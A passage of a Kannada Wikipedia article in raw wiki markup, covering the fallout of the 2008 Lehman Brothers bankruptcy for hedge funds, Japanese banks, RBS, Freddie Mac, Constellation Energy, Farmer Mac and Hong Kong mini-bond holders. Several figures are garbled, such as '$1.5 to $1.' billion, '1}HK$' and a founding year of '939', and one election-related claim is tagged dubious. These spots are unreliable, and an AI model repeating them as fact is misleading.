ರಕ್ಷಣೋಪಾಯದ ನಿಧಿಗಳು ಲೆಹ್ಮನ್ ನಲ್ಲಿ ಅವರ ಪ್ರೈಮರ್ ಬ್ರೊಕರ್ ಮೇಲೆ ಅವಲಂಬಿಸಲಾಗಿತ್ತಲ್ಲದೇ ಇದನ್ನು ನೀಡುವ ಕಂಪನಿಗಳ ಮೇಲೆ ಬಹುಪಾಲು ಅವಲಂಬಿತವಾಗಿತ್ತು. ತಮ್ಮದೇ ಆದ ಸ್ವಂತದ ಸಾಲದ ಅವಶ್ಯಕತೆಗಳನ್ನು ಪೂರೈಸಲು ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಇಂಟರ್ ನ್ಯಾಶನಲ್ ಮತ್ತೆ ತನ್ನದನ್ನು ಮರು-ಒತ್ತೆ ಇಡುವ <ref>ಕೆನ್ನೆತ್ ಸಿ. ಕೆಟ್ಟೆರಿಂಗ್,'' ರಿಪ್ಲೆಜ್ ಡಿಕನ್ಸ್ಟ್ರಕ್ಟ್ರೆಡ್'' , 61 ಯು.ಪಿಟ್ ಎಲ್. ರೆವ್.45, 51 (1999)(ರಿಹೈಪೊಥಿಕೇಶನ್“[ರೆ]ಫರಸ್ ಟು ಎ ಪ್ಲೆಜ್ ಆಫ್ ದಿ ಡೆಟರ್ಸ್ ಕೊಲ್ಯಾಟರಲ್ ಬೈ ದಿ ಸೆಕ್ಯುರ್ಡ್ ಪಾರ್ಟಿ, ಟು ಸೆಕ್ಯುವರ್ ದಿ ಸೆಕ್ಯುವರ್ಡ್ ಪಾರ್ಟೀಸ್ ಒನ್ ಒಬ್ಲಿಗೇಶನ್ ಟು ಥರ್ಡ್ ಪಾರ್ಟಿ”).</ref> ಕ್ರಮ ಕೈಗೊಂಡಿತು.ತಮ್ಮ ರಕ್ಷಣೋಪಾಯದ ನಿಧಿಗಳು ಅದರ ಗ್ರಾಹಕರಿಗೆ ತಮ್ಮ ಪ್ರೈಮ್ ಬ್ರಿಕರೇಜ್ ಗೆ ಅನುಕೂಲ ಮಾಡಲು ಈ ಕ್ರಮ ಅನಿವಾರ್ಯವೂ ಆಯಿತು. ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಇಂಟರ್ ನ್ಯಾಶನಲ್ ತನ್ನ ದಿವಾಳಿತನದ ಅರ್ಜಿಯನ್ನು ಚಾಪ್ಟರ್ 11 ರಡಿ ನೀಡುವ ಸಂದರ್ಭದಲ್ಲಿ ಗ್ರಾಹಕರ ಸುಮಾರು 40 ದಶಕೋಟಿ ಡಾಲರ್ ನಷ್ಟು ಆಸ್ತಿ ಹೊಂದಿತ್ತು. ಇದರಲ್ಲಿ, 22 ಶತಕೋಟಿಯನ್ನು ಮರು-ಹೈಪೊಥಿಕೇಶನ್ ಗಾಗಿ ಬಳಸಲಾಯಿತು.<ref>ಸ್ಟೀವೆನ್ ಲೆಸ್ಸರ್ಡ್, ''ಇ.ಯು. ರಿ-ಹೈಪೊಥಿಕೇಶನ್ ಅಂಡ್ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಬ್ರ್ಯಾಂಕ್ರಪ್ಟ್ಸಿ:ಚೇಂಜಿಸ್ ದ್ಯಾಟ್ ಮಸ್ಟ್ ಬಿ ಮೇಡ್ ಟು ದಿ MiFID'' , ಅಪಿಯರಿಂಗ್ ಇನ್ ಫೊಲ್ಸೊಮ್, ಗೊರ್ಡೊನ್, ಸ್ಪ್ಯಾಂಗೊಲ್, ಇಂಟರ್ ನ್ಯಾಶನಲ್ ಬಿಜಿನೆಸ್ ಟ್ರ್ಯಾಂಜೆಕ್ಷನ್ಸ್, ಪ್ರಾಕ್ಟೀಶ್ನರ್ಸ್ ಟ್ರೀಟೈಜ್,(2010 ಟ್ರೀಟೈಜ್ ಸಪ್ಲಿಮೆಂಟ್)</ref> ಯಾವಾಗ ಆಡಳಿತಗಾರರು [[ಲಂಡನ್]] ವಹಿವಾಟಿ ಮತ್ತು U.S.ಹೊಲ್ಡಿಂಗ್ಸ್ ಕಂಪನಿಗಳು ದಿವಾಳಿತನದ ಅರ್ಜಿ ಹಾಕಿದಾಗ ಆ ರಕ್ಷಣೋಪಾಯದ ನಿಧಿಗಳು ಲೆಹ್ಮನ್ ನಲ್ಲಿ ಸ್ಥಗಿತವಾದವು. ಇದರಿಂದಾಗಿ ಈ ನಿಧಿಗಳು ಹಂಚಿಕೆಯಾಗಿ ದೊಡ್ಡ ಮಟ್ಟದ ನಗದು ಶೇಖರಣೆ ಮೇಲೆ ಅವಲಂಬಿತವಾಗಿ ಮುಂದಿನ ಪ್ರಗತಿಗೆ ಪೂರಕವಾಗಬೇಕಾಗುತ್ತದೆ.<ref>{{cite news|url=http://www.ft.com/cms/s/0/37e85018-845f-11dd-adc7-0000779fd18c.html|title=Hedge funds' growth prospects hit by Lehman's demise|publisher=[[Financial Times]]|date=2008-09-17|accessdate=2008-09-18}}</ref> ಇದು ಮತ್ತೆ ಮಾರುಕಟ್ಟೆಯ ಸ್ಥಾನಪಲ್ಲಟತೆ ತೋರಿ,ಒಟ್ಟಾರೆ 737 ದಶಕೋಟಿ ಅಂದಾಜು ಇಳಿಕೆಯ ಅಪಾಯಕಾರಿ ಪರಿಸ್ಥಿತಿಯನ್ನು ತಂದಿತ್ತು,ಸದ್ಯ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಸೆಕ್ಯುರಿಟಿ ಮಾರುಕಟ್ಟೆಯ ಲೆಂಡಿಂಗ್ ಅಂದರೆ ಸಾಲದ ವಿಭಾಗದಲ್ಲಿ ಇಳಿಮುಖವನ್ನುಂಟು ಮಾಡಿತ್ತು.<ref>ಮನಮೋಹನ್ ಸಿಂಗ್ &amp; ಜೇಮ್ಸ್ ಐಟೆಕೆನ್,''ಡೆಲ್ವರೇಜಿಂಗ್ ಆಫ್ಟರ್ ಲೆಹ್ಮನ್-ಎವಿಡೆನ್ಸ್ ಫ್ರಾಮ್ ರೆಡ್ಯುಸ್ಡ್ ರಿಹೈಪೊಥಿಕೇಶನ್'' , IMF ವರ್ಕಿಂಗ್ ಪೇಪರ್ No.09/42, at 7 (2009)</ref> [[ಜಪಾನ್]] ನಲ್ಲಿಯೂ ಕೂಡಾ ಬ್ಯಾಂಕ್ ಗಳು ಮತ್ತು ವಿಮಾ ಕಂಪನಿಗಳು ಸೇರಿ 249 ದಶಕೋಟಿ ಯೆನ್ ($2.4 ಶತಕೋಟಿ)ಯಷ್ಟನ್ನು ಲೆಹ್ಮನ್ ನ ಕುಸಿತದಿಂದ ವಹಿವಾಟಿನಲ್ಲಿ ಕೊರತೆ-ಹಾನಿ ತಂದುಕೊಂಡವು. ಮಿಜುಹೊ ಟ್ರಸ್ಟ್ ಅಂಡ್ ಬ್ಯಾಂಕಿಂಗ್ ಕಂ.ತನ್ನ ಲಾಭದ ಅಂದಾಜು ಪ್ರಮಾಣವನ್ನು ಅರ್ಧಕ್ಕಿಳಿಸಿತು.ಸುಮಾರು 11.8 ಶತಕೋಟಿ ಯೆನ್ ನಷ್ಟು ಲೆಹ್ಮನ್ ಗೆ ಸಂಬಂಧಿಸಿದ ಬಾಂಡ್ ಗಳು ಮತ್ತು ಸಾಲಗಳಲ್ಲಿ ಅದು ಕಳೆದುಕೊಂಡಿತು. ಬ್ಯಾಂಕ್ ಆಫ್ ಜಪಾನ್ ನ ಗವರ್ನರ್ ಮಸಾಕಿ ಶಿರಾಕಾವಾ ಪ್ರಕಾರ"ಬಹಳಷ್ಟು ಸಾಲವನ್ನು ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಗೆ ನೀಡಿದ್ದು ಜಪಾನಿನ ದೊಡ್ಡ ಬ್ಯಾಂಕುಗಳು,ಅವುಗಳು ತಮ್ಮ ನಷ್ಟವನ್ನು ಲಾಭದ ಮೂಲಕ ಹೊಂದಾಣಿಕೆ ಮಾಡಿಕೊಳ್ಳುವ ಸಾಧ್ಯತೆ ಇದೆ."ಸದ್ಯದ ಬೆಳವಣಿಗೆಗಳು ಜಪಾನಿನ ಬ್ಯಾಂಕಿಂಗ್ ವಲಯಕ್ಕೆ,ಹಣಕಾಸು ಸ್ಥಿತಿಗೆ ಅಂತಹ ಆತಂಕವನ್ನುಂಟು ಮಾಡಿಲ್ಲ."ಎಂದಿದ್ದಾರೆ.<ref>{{cite news|url=https://www.bloomberg.com/apps/news?pid=20601101&sid=a3mSQ9tXT.5w&refer=japan|title=Japan Banks, Insurers Have $2.4 Billion Lehman Risk|publisher=[[Bloomberg L.P.|Bloomberg]]|date=2008-09-17|accessdate=2008-09-18}}</ref> ಈ ದಿವಾಳಿತನದ ಕಾರ್ಯಚಟುವಟಿಕೆಗಳ ನಡೆದ ಸಂದರ್ಭದಲ್ಲಿ ದಿ ರಾಯಲ್ ಬ್ಯಾಂಕ್ ಆಫ್ ಸ್ಕಾಟ್ ಲ್ಯಾಂಡ್ ಗ್ರುಪ್ ನ ವಕೀಲರ ಪ್ರಕಾರ ಕಂಪನಿಯು ಸುಮಾರು $1.5 ನಿಂದ $1.ಶತಕೋಟಿ ಮೊತ್ತವನ್ನು ಋಣಭಾರವನ್ನಾಗಿ ಲೆಹ್ಮನ್ ಉಳಿಸಿಕೊಂಡಿದೆ,ಲೆಹ್ಮನ್ ನ ಅಂಗಸಂಸ್ಥೆಗಳಾದ ಮಾರ್ಟಿನ್ ಬೆಯೆನೆಯನ್ ಸ್ಟಾಕ್ ನಂತಹವುಗಳ ವಹಿವಾಟುಗಳ ಹಾನಿಯೇ ಇದಕ್ಕೆ ಕಾರಣವಾಗಿದೆ.<ref>{{cite news|url=http://www.reuters.com/article/fundsFundsNews/idUSN1751719120080918|title=RBS sees Lehman claims at $1.5 bln-$1.8 billion: lawyer|publisher=[[Reuters]]|date=2008-09-17|accessdate=2008-09-18 | first=Emily | last=Chasan}}</ref> ಇದೇ ಸಂದರ್ಭದಲ್ಲಿ ಫ್ರೆಡ್ಡಿ ಮ್ಯಾಕ್ ಫೈನಾನ್ಸಿಯರ್ ಗೆ ಲೆಹ್ಮನ್ ಮಾಧ್ಯಮವಾಗಿ ಭದ್ರತಾ ಠೇವಣಿ ಇಲ್ಲದೇ ಸೆಕ್ಯುರಿಟೀಸ್ ಗಳನ್ನು ಸಾಲವಾಗಿ ನೀಡಿದ್ದು ಅದು ಸೆಪ್ಟೆಂಬರ್ 15,2008 ರಲ್ಲಿ ನೀಡುವ ಅವಧಿಯನ್ನು ಪೂರ್ಣಗೊಳಿಸಿದೆ. ಫ್ರೆಡ್ಡಿ ಹೇಳುವ ಪ್ರಕಾರ ಅದು $1.2 ಶತಕೋಟಿಯ ಅಸಲು ಮೊತ್ತ ಮತ್ತು ಅದರ ಬಡ್ಡಿಯನ್ನು ಪಡೆದಿಲ್ಲ.ಇದರೊಂದಿಗೆ ಲೆಹ್ಮನ್ ನ ಪರವಾಗಿ $400 ದಶಲಕ್ಷದಷ್ಟು ಗೃಹಸಾಲಗಳನ್ನೂ ನೀಡಿದೆ,ಇದರ ಜೊತೆಯಲ್ಲಿಯೇ ಕೆಲವು ಸಾಲದ ಮರುಖರೀದಿಯನ್ನೂ ಅದು ತನ್ನೊಂದಿಗೆ ತೆಗೆದುಕೊಂಡಿತು. ಫ್ರೆಡ್ಡಿ ಹೇಳುವ ಪ್ರಕಾರ "ಈ ವಹಿವಾಟುಗಳಿಗೆ ಸಂಭಂಧಿಸಿದ ನಷ್ಟ ಮತ್ತು ಅದರ ಅಪಾಯವನ್ನು ಎಷ್ಟರಮಟ್ಟಿಗೆ ಸಹಿಸಿಕೊಳ್ಳುವುದೆಂಬ ವಿಷಯ ಅದಕ್ಕೇ ಗೊತ್ತಿಲ್ಲ".ಅದಲ್ಲದೇ "ನಿಜವಾದ ನಷ್ಟಗಳು ಅಂದಾಜಿಸಿದಕ್ಕಿಂತ ಹೆಚ್ಚಾಗುವ ಸಾಧ್ಯತೆ ಇದೆ ಎಂದು ಅದು ಎಚ್ಚರಿಸಿದೆ." ಈಗಲೂ ಕೂಡಾ ಫ್ರೆಡ್ಡಿ ಲೆಹ್ಮನ್ ನೊಂದಿಗಿನ ಇತರ ವ್ಯವಹಾರಗಳ ಸಂಭಂಧಗಳನ್ನು ಮರುಪರಿಶೀಲಿಸಿ ಲೆಕ್ಕ ಹಾಕುತ್ತಿದೆ.ಇನ್ನುಳಿದ ವಹಿವಾಟುಗಳ ಬಗ್ಗೆ ನಿಗಾ ವಹಿಸುತ್ತಿದೆ.<ref>{{cite news|url=http://www.ft.com/cms/s/0/9bbd2a58-85dd-11dd-a1ac-0000779fd18c.html|last=Bullock|first=Nicole|publisher=[[Financial Times]]|date=2008-09-19|accessdate=2008-09-19}}</ref> ಕನ್ ಸ್ಟೆಲ್ಲೇಶನ್ ಎನರ್ಜಿ ಕೂಡಾ ಲೆಹ್ಮನ್ ನೊಂದಿಗಿನ ವ್ಯವಹಾರದಿಂದಾಗಿ ತನ್ನ ಶೇರುಗಳ ವಹಿವಾಟಿನಿಂದ ಬೆಲೆ ಕಳೆದುಕೊಂಡಿತು.ಅದರ ದಾಸ್ತಾನು ಮಟ್ಟ 56% ಕ್ಕಿಳಿಯಿತು.ಅದರ ವಹಿವಾಟು ಕಡಿಮೆ ಮಟ್ಟದಲ್ಲಿ ಅಂದರೆ $67.87 ದರದೊಂದಿಗೆ ಆರಂಭವಾಗಿತ್ತು. ದೊಡ್ಡ ಪ್ರಮಾಣದ ಶೇರುಗಳಲ್ಲಿನ ಕುಸಿತವು ನ್ಯುಯಾರ್ಕ್ ಸ್ಟಾಕ್ ಎಕ್ಸ್ಚೇಂಜ್ ನ ಖಾತ್ರಿ ವ್ಯವಹಾರಕ್ಕೆ ಸ್ಥಬ್ದತೆ ತಂದಿತು. ಅದರ ಮರುದಿನ ಸ್ಟಾಕ್ ನ ಶೇರು ವಹಿವಾಟು ಅತ್ಯಂತ ಕಡಿಮೆ ಅಂದರೆ $13 ಕ್ಕೆ ಸರಿಯಿತು.ಖಾತ್ರಿಪಡಿಸುವಿಕೆ ವ್ಯವಹಾರವು ಇದಕ್ಕೆ ಮೊರ್ಗಮ್ ಸ್ಟಾಂಡ್ಲಿ ಮತ್ತುUBSಗಳ ಸಲಹೆಯನ್ನು ಎರವಲಾಗಿ ಪಡೆದು ಪರಿಸ್ಥಿತಿಯ ಬಗ್ಗೆ ವಿಚಾರ-ವಿಮರ್ಶೆ ನಡೆಸಲಾಯಿತು.ಇದಕ್ಕಾಗಿ "ವಿಧಿಬದ್ದವಾದ ಪರ್ಯಾಯಗಳನ್ನು"ಸೂಚಿಸುವ ಮೂಲಕ ಖರೀದಿಯ ವಹಿವಾಟನ್ನು ನಿಲ್ಲಿಸಲೂ ನಿರ್ಧರಿಸಲಾಯಿತು. ವದಂತಿಗಳ ಸಲಹೆ ಪ್ರಕಾರ ಫ್ರೆಂಚ್ ಪಾವರ್ ಕಂಪನಿಯು ಎಲೆಕ್ಟ್ರಾಸಿಟೆ ಡೆ ಫ್ರಾನ್ಸ್ ಕಂಪನಿಯನ್ನು ಖರೀದಿ ಮಾಡುವುದು ಅಥವಾ ತನ್ನ ಶೇರು ದಾಸ್ತಾನನ್ನು ಹೆಚ್ಚಿಸಲು ಮುಂದಾಗುವುದು ಇದರ ಸಲಹೆಯಾಗಿತ್ತು.ಖರೀದಿಯ ಪ್ರಕ್ರಿಯೆಗಾಗಿ ಒಪ್ಪಂದವನ್ನು ಭಾಗಶಃ ಮಿಡ್ ಅಮೆರಿಕನ್ ಎನರ್ಜಿ,ಇದು [[ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ|ಬೆರ್ಕಶೆಯರ್ ಹಾಥ್ ವೆ]] ದ ಭಾಗವಾಗಿತ್ತು. (ಇದರ ಮುಖ್ಯಸ್ಥ ಬಿಲಿಯಾನರ್ [[ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌|ವಾರೆನ್ ಬಫೆಟ್]] ಆಗಿದ್ದಾರೆ.)<ref>{{cite news|url=http://www.forbes.com/markets/economy/2008/09/17/constellation-energy-lehman-markets-equity-cx_md_0917markets22.html|title=Lehman Ties Dim Constellation|last=Desmond|first=Maurna|publisher=[[Forbes]]|date=2008-09-17|accessdate=2008-09-19|archive-date=2009-06-17|archive-url=https://archive.today/20090617201558/http://www.forbes.com/markets/economy/2008/09/17/constellation-energy-lehman-markets-equity-cx_md_0917markets22.html|url-status=dead}}</ref><ref>{{cite news|url=http://business.scotsman.com/energyutilities/Power-deal-delivers--new.4508490.jp|last=Thomson|first=Victoria|title=Power deal delivers new star to Buffett's energy constellation|publisher=[[The Scotsman]]|date=2008-09-19|accessdate=2008-09-19}}</ref><ref>{{cite news|url=http://blogs.wsj.com/marketbeat/2008/09/18/buffett-shoots-for-falling-constellation/|title=Buffett Shoots for Falling Constellation|last=Gaffen|first=David|publisher=[[The Wall Street Journal]]|date=2008-09-18|accessdate=2008-09-19}}</ref> ಫೆಡೆರಲ್ ಅಗ್ರಿಕಲ್ಚರಲ್ ಮಾರ್ಟಗೇಜ್ ಕಾರ್ಪೊರೇಶನ್ ಅಥವಾ ಫಾರ್ಮರ್ ಮ್ಯಾಕ್ ಕಂಪನಿಯು ಈ ಲೆಹ್ಮನ್ ನ ದಿವಾಳಿತನದಿಂದ ಅದು ಸುಮಾರು $48 ದಶಲಕ್ಷ ಲೆಹ್ಮನ್ ನ ಹೆಸರಿನ ಸಾಲವನ್ನು ಒತ್ತಾಯದ ಮನ್ನಾಕ್ಕೆ ಗುರಿಯಾಗಬೇಕಾಯಿತು. ಫಾರ್ಮೆರ್ ಮ್ಯಾಕ್ ಹೇಳುವಂತೆ ಅದು ತನ್ನ ಕನಿಷ್ಟ ಬಂಡವಾಳದ ಅಗತ್ಯಗಳೊಂದಿಗೆ ಸೆಪ್ಟೆಂಬರ್ ಅಂತ್ಯದೊಳಗೆ ರಾಜಿ ಮಾಡಿಕೊಳ್ಳದ ಪರಿಸ್ಥಿತಿ ಎದುರಿಸಬಹುದು.<ref>{{cite news|url=http://www.farmfutures.com/ME2/dirmod.asp?sid=CD26BEDECA4A4946A1283CC7786AEB5A&nm=News&type=news&mod=News&mid=9A02E3B96F2A415ABC72CB5F516B4C10&tier=3&nid=47A70C6D6B2F41C3A37A1CAC2FDB362C|title=Wall Street Mess Trickles Down To The Farm|last=Knorr|first=Bryce|publisher=Farm Futures|date=2008-09-23|accessdate=2008-09-26}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> [[ಹಾಂಗ್ ಕಾಂಗ್]] ನಲ್ಲಿ ಸುಮಾರು 43,700 ಜನರು ನಗರದಲ್ಲಿನ 1}HK$ ಬ್ಯಾಂಕಿನಲ್ಲಿನ $15,7 ದಶಕೋಟಿಯಷ್ಟು ಲೆಹ್ಮನ್ ನ "ಖಾತ್ರಿಪಡಿಸಿದ ಮಿನಿ-ಬಾಂಡ್ಸ್ ಗಳಲ್ಲಿ ತೊಡಗಿಸಿದ್ದಾರೆ.<ref name="scmp1">ಸೌತ್ ಚೀನಾ ಮಾರ್ನಿಂಗ್ ಪೊಸ್ಟ್. "[http://www.scmp.com/portal/site/SCMP/menuitem.2af62ecb329d3d7733492d9253a0a0a0/?vgnextoid=1be5c7dbe210d110VgnVCM100000360a0a0aRCRD&amp;ss=Hong+Kong&amp;s=News SCMP]." ''ಚೀಫ್ ಟಾಕ್ಸ್ ಟಫ್ ಆನ್ ಮಿನಿಬಾಂಡ್ಸ್.'' ಮರೆಪಡೆದುದು 2008-10-17.</ref><ref>ಎಚ್ಕೆಸ್ಟ್ಯಾಂಡರ್ಡ್. "[http://www.thestandard.com.hk/breaking_news_detail.asp?id=8091&amp;icid=3&amp;d_str=20081017 The Standard.com]." ''HKMA ರೆಫೆರ್ಸ್ ಲೆಹ್ಮನ್ ಕೇಸಿಸ್ ಟು ರೆಗ್ಯುಲರ್.'' ಮರೆಪಡೆದುದು 2008-10-17.</ref><ref name="hkdf">Hkdf. "[http://www.hkdf.org/pr.asp?func=show&amp;pr=178 Hkdf] {{Webarchive|url=https://archive.today/20130112214540/http://www.hkdf.org/pr.asp?func=show&pr=178 |date=2013-01-12 }}." ''(ಪ್ರೊಪೊಜಲ್ ಫಾರ್ ರೆಜುಲುಶನ್ ಆಫ್ ಮಿನಿ-ಬಾಂಡ್,ಇಸ್ಯು) ಮಿನಿ-ಬಾಂಡ್ ಗಳ ಸಮಸ್ಯೆ ಪ್ರಸ್ತಾವನೆಗೆ ತೀರ್ಮಾನ.'' ಮರುಪಡೆದುದು 2009-01-23.</ref> ಹಲವರು ಹೇಳುವ ಪ್ರಕಾರ ಬ್ಯಾಂಕ್ ಗಳು ಮತ್ತು ದಲ್ಲಾಳಿಗಳು ತಮ್ಮನ್ನು ದಾರಿ ತಪ್ಪಿಸಿ ತಪ್ಪು-ಮಾರಾಟದ ಸಲಹೆಯಂತೆ ಇದು ಕಡಿಮೆ ಅಪಾಯಕಾರಿನ ಎಂದು ನಂಬಿಸಿದ್ದಾರೆ,ಎಂದು ಹೇಳುತ್ತಾರೆ. ಸಾಮಾನ್ಯ ವಾಡಿಕೆಯಂತೆ ಬ್ಯಾಂಕರ್ಸ್ ಹೇಳುವ ಪ್ರಕಾರ ಲೆಹ್ಮನ್ಸ್ ಬ್ರದರ್ಸ ನ ಮಿನಿ-ಬಾಂಡ್ಸ್ ಗಳು ಕಡಿಮೆ ಅಪಾಯಕಾರಿ ಹೂಡಿಕೆಗಳಾಗಿವೆ.ಇದನ್ನು ವಾಲ್ ಮನ್ ಸ್ಟ್ರೀಟ್ ನಲ್ಲಿ ನಂಬಲಾಗಿದ್ದ ಸತ್ಯವಾಗಿತ್ತು. ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಕುಸಿತದ ಕೆಲವೇ ತಿಂಗಳುಗಳ ಮುಂಚೆ,ಆಗ ಹೂಡಿಕೆಯ ದರಗಳೂ ಕೂಡಾ ತೃಪ್ತಿಕರವಾಗಿದ್ದವು. ಆದರೆ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ತಪ್ಪು ಎಸಗಿದ ವಲಯವೆಂದರೆ ಅದರ ಒಟ್ಟಾರೆ ಸಂಭವನೀಯತೆಯನ್ನು ಅದು ನಿರೀಕ್ಷೆ ಮಾಡದಿರುವುದೇ ಆಗಿದೆ. ನಿಜವಾಗಿಯೂ ಹಲವು ಬ್ಯಾಂಕ್ ಗಳು ಸಾಲಗಳಿಗೆ ಮತ್ತು ಸಾಲದ ಸವಲತ್ತುಗಳಿಗೆ ಪೂರಕವಾಗಿ ಈ ಮಿನಿಬಾಂಡ್ಸ್ ಗಳನ್ನು ಒಪ್ಪಿಕೊಂಡಿದ್ದವು. ಮತ್ತೊಂದು HK$3 ಶತಕೋಟಿ ಯನ್ನು ಇದೇ ಮೂಲದ ಆದಾಯ ಬರುವಲ್ಲಿ ಹೂಡಿಕೆ ಮಾಡಲಾಗಿತ್ತು. ಆಗ ಹಾಂಗ್ ಕಾಂಗ್ ಬ್ಯಾಂಕ್ ತನ್ನ ಪ್ರಸ್ತುತ ಹೂಡಿಕೆಯನ್ನು ಮರಳಿ ಪಡೆಯಲು ಯತ್ನಿಸಿತು.ಇದು ಕೆಲವು ಠೇವಣಿದಾರರಿಗೆ ಭಾಗಶಃ ಆದಾಯ ತರಬಹುದಿತ್ತು.ಹಣ ಹೂಡಿದವರು ವರ್ಷಾಂತ್ಯದಲ್ಲಿ ಸ್ವಲ್ಪ ಲಾಭ ಪಡೆಯಬಹುದೆಂಬ ನಿರೀಕ್ಷೆಯೂ ಇತ್ತು.<ref name="scmp2">ಸೌತ್ ಚೀನಾ ಮಾರ್ನಿಂಗ್ ಪೊಸ್ಟ್. "[http://www.scmp.com/portal/site/SCMP/menuitem.2af62ecb329d3d7733492d9253a0a0a0/?vgnextoid=81e171859940d110VgnVCM100000360a0a0aRCRD&amp;ss=Hong+Kong&amp;s=News SCMP]." ''ಬ್ಯಾಂಕ್ ಗಳ ಮೂಲಕ ಮಿನಿ-ಬಾಂಡ್ಸ್ ಗಳ ಮರುಖರೀದಿ ಬಗ್ಗೆ CE ಯು ವಿವರಕ್ಕಾಗಿ ಇನ್ನೂ ಎದುರುನೋಡುತ್ತಿದೆ.'' ಮರುಪಡೆದುದು 2008-10-17.</ref> HK ದ ಮುಖ್ಯ ಕಾರ್ಯನಿರ್ವಾಹಕ ಡೊನಾಲ್ಡ್ ತಾಸಂಗ್ ಅವರು ಸರಕಾರದ ಮರು ಖರೀದಿಗೆ ಸ್ಥಳೀಯ ಬ್ಯಾಂಕುಗಳು ಕೂಡಲೇ ಸ್ಪಂದಿಸುವಂತೆ ಸೂಚನೆ ನೀಡಿದರು.ಈಗಾಗಲೇ ಮಾನಟರಿ ಆಥಾರಿಟಿ ಸುಮಾರು 16,000 ಅಧಿಕ ದೂರುಗಳನ್ನು ಸ್ವೀಕರಿಸಿತ್ತು.<ref name="scmp1" /><ref name="hkdf" /><ref name="scmp2" /> ಅಕ್ಟೋಬರ್ 17 ನಲ್ಲಿ ಹಾಂಗ್ ಕಾಂಗ್ ಅಸೊಶಿಯೇಸಿಶನ್ ಆಫ್ ಬ್ಯಾಂಕ್ಸ್ ಮುಖ್ಯಸ್ಥ ಹೆ ಗೌಂಗೆಬೆ ಯವರು ಈ ಬಾಂಡ್ಸ್ ಗಳನ್ನು ಮರುಖರೀದಿಗೆ ಒಪ್ಪಿದರು.ಸದ್ಯದ ಅದರ ಪದ್ದತಿಗನುಸಾರವಾಗಿ ಮಾರುಕಟ್ಟೆ ಮೌಲ್ಯದ ಅಂದಾಜು ಮಾಡಲಾಗಿತ್ತು.<ref>ಎಚ್ಕೆಸ್ಟ್ಯಾಂಡರ್ಡ್ . "[http://www.thestandard.com.hk/breaking_news_detail.asp?id=8097&amp;icid=3&amp;d_str=20081017 The Standard.com]." ''ಲೆಹ್ಮನ್ ನ ಮಿನಿ-ಬಾಂಡ್ಸ್ ಗಳನ್ನು ಬ್ಯಾಂಕುಗಳಿಂದ ಮರು ಖರೀದಿ '' ಮರುಪಡೆದುದು 2008-10-17.</ref> ಈ ಪ್ರಕರಣದಿಂದಾಗಿ ಬ್ಯಾಂಕಿಂಗ್ ಉದ್ಯಮದಲ್ಲಿ ತೀವ್ರತರವಾದ ಪರಿಣಾಮಗಳು ಉಂಟಾದವು.ಆಸ್ತಿ ವಹಿವಾಟಿನ ಆಡಳಿತದ ಹೂಡಿಕೆಗಳು ಮತ್ತು ಹೂಡಿಕೆದಾರರ ದಾರಿತಪ್ಪಿಸುವ ಇಂತಹ ಪ್ರವೃತ್ತಿಗಳಿಗೆ ಎಲ್ಲೆಲ್ಲೂ ಒಟ್ಟಾರೆಯಾಗಿ ನಿರಾಕರಣೆ ದೊರೆಯಲಾರಂಭಿಸಿತು. ಸಾರ್ವಜನಿಕರ ಒತ್ತಡದಿಂದಾಗು ಎಲ್ಲಾ ರಾಜಕೀಯ ವ್ಯಕ್ತಿಗಳು,ಪಕ್ಷಗಳು ಹೂಡಿಕೆದಾರರ ಬೆಂಬಲಿಸಲು ಆರಂಭಿಸಿದರು.ಅಲ್ಲದೇ ಬ್ಯಾಂಕಿಂಗ್ ಉದ್ಯಮದಲ್ಲಿ ನಡೆಯುತ್ತಿದ್ದ ಅಪನಂಬಿಕೆಯ ಅಲೆಯನ್ನು ನಿಲ್ಲಿಸಲಾಗಲಿಲ್ಲ. ಈ ದಿವಾಳಿತನದ ಹಿಂದೆ 2008 ರ ಯುನೈಟೈಡ್ ಸ್ಟೇಟ್ಸ್ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆಯ ಪ್ರಭಾವಗಳನ್ನು ಅಲ್ಲಗಳೆಯಲಾಗದು.[[ಬರಾಕ್ ಒಬಾಮ|ಬರಾಕ್ ಒಬಾಮಾ]] ಅವರು ಜಾನ್ ಮೆಕೆನ್ ಅವರಿಗಿಂತ ನಾಗಾಲೋಟದ ಗಲ್ಲುಪಾ ಚುನಾವಣೆಯಲ್ಲಿ ಮುನ್ನಡೆ ಸಾಧಿಸಿದ್ದಾರೆಂದು ಗೊತ್ತಾದಾಗ ಈ ಬೆಳವಣಿಗೆ ಕಂಡು ಬಂದಿತು.ಇದನ್ನು ನೋಡಿದಾಗ ಇಲ್ಲಿ ಅವರು ಹಿಂದೆ ಬೀಳಲಾರರೆಂಬ ಖಾತ್ರಿಯೂ ಇತ್ತು.{{Dubious|date=October 2009}} == ನ್ಯುಬರ್ಗರ್ ಬೆರ್ಮನ್ == '''ನ್ಯುಬರ್ಗರ್ ಬೆರ್ಮನ್ ಇಂಕಾ''' ತನ್ನ ಅಂಗಸಂಸ್ಥೆಗಳೊಂದಿಗೆ ಅದು ಪ್ರಾಥಮಿಕವಾಗಿ '''ನ್ಯುಬರ್ಗರ್ ಬೆರ್ಮನ್ LLC''' ಆಗಿ ಒಂದು [[ಬಂಡವಾಳ|ಇನ್ವೆಸ್ಟ್ ಮೆಂಟ್]]-ಸಲಹಾಕಾರ ಸಂಸ್ಥೆಯಾಗಿ 939 ರಲ್ಲಿ ಸ್ಥಾಪನೆಯಾಯಿತು.ರಾಯ್ ಆರ್.ನ್ಯುಬರ್ಗರ್ ಮತ್ತು ರಾಬರ್ಟ್ ಬರ್ಮೆನ್ ಅವರು ಹೈ-ನೆಟ್-ವರ್ದ್ ಇಂಡಿಜ್ವಲ್ಸ್ ಅಡಿ ವೈಯಕ್ತಿಕ ಹೂಡಿಕೆಯ ಒಟ್ಟಾರೆ ಖಾತೆಗಳನ್ನು ನೋಡಿಕೊಳ್ಳುತಿತ್ತು. 